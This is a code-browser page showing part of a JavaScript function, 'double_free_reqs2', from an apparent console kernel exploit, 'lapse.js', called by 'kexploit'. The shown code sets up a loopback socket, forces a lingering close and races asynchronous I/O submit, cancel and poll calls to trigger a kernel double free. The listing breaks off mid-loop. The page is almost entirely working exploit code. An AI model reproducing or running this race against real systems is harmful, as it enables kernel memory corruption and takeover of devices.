MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / double_free_reqs2

Function double_free_reqs2

g2all/700/lapse.js:695–773  ·  view source on GitHub ↗
(sds)

Source from the content-addressed store, hash-verified

693}
694
695function double_free_reqs2(sds) {
696 function swap_bytes(x, byte_length) {
697 let res = 0;
698 for (let i = 0; i < byte_length; i++) {
699 res |= ((x >> (8 * i)) & 0xff) << (8 * (byte_length - i - 1));
700 }
701
702 return res >>> 0;
703 }
704
705 function htons(x) {
706 return swap_bytes(x, 2);
707 }
708
709 function htonl(x) {
710 return swap_bytes(x, 4);
711 }
712
713 const server_addr = new Buffer(16);
714 // sockaddr_in.sin_family
715 server_addr[1] = AF_INET;
716 // sockaddr_in.sin_port
717 server_addr.write16(2, htons(5050));
718 // sockaddr_in.sin_addr = 127.0.0.1
719 server_addr.write32(4, htonl(0x7f000001));
720
721 const racer = new Chain();
722 const barrier = new Long();
723 call_nze("pthread_barrier_init", barrier.addr, 0, 2);
724
725 const num_reqs = 3;
726 const which_req = num_reqs - 1;
727 const reqs1 = make_reqs1(num_reqs);
728 const reqs1_p = reqs1.addr;
729 const aio_ids = new View4(num_reqs);
730 const aio_ids_p = aio_ids.addr;
731 const req_addr = aio_ids.addr_at(which_req);
732 const cmd = AIO_CMD_MULTI_READ;
733
734 const sd_listen = new_tcp_socket();
735 ssockopt(sd_listen, SOL_SOCKET, SO_REUSEADDR, new Word(1));
736
737 sysi("bind", sd_listen, server_addr.addr, server_addr.size);
738 sysi("listen", sd_listen, 1);
739
740 for (let i = 0; i < num_races; i++) {
741 const sd_client = new_tcp_socket();
742 sysi("connect", sd_client, server_addr.addr, server_addr.size);
743
744 const sd_conn = sysi("accept", sd_listen, 0, 0);
745 // force soclose() to sleep
746 ssockopt(sd_client, SOL_SOCKET, SO_LINGER, View4.of(1, 1));
747 reqs1.write32(0x20 + which_req * 0x28, sd_client);
748
749 aio_submit_cmd(cmd, reqs1_p, num_reqs, aio_ids_p);
750 aio_multi_cancel(aio_ids_p, num_reqs);
751 aio_multi_poll(aio_ids_p, num_reqs);
752

Callers 1

kexploitFunction · 0.70

Calls 15

logFunction · 0.90
dieFunction · 0.90
htonsFunction · 0.70
htonlFunction · 0.70
call_nzeFunction · 0.70
make_reqs1Function · 0.70
new_tcp_socketFunction · 0.70
ssockoptFunction · 0.70
sysiFunction · 0.70
aio_submit_cmdFunction · 0.70
aio_multi_cancelFunction · 0.70
aio_multi_pollFunction · 0.70

Tested by

no test coverage detected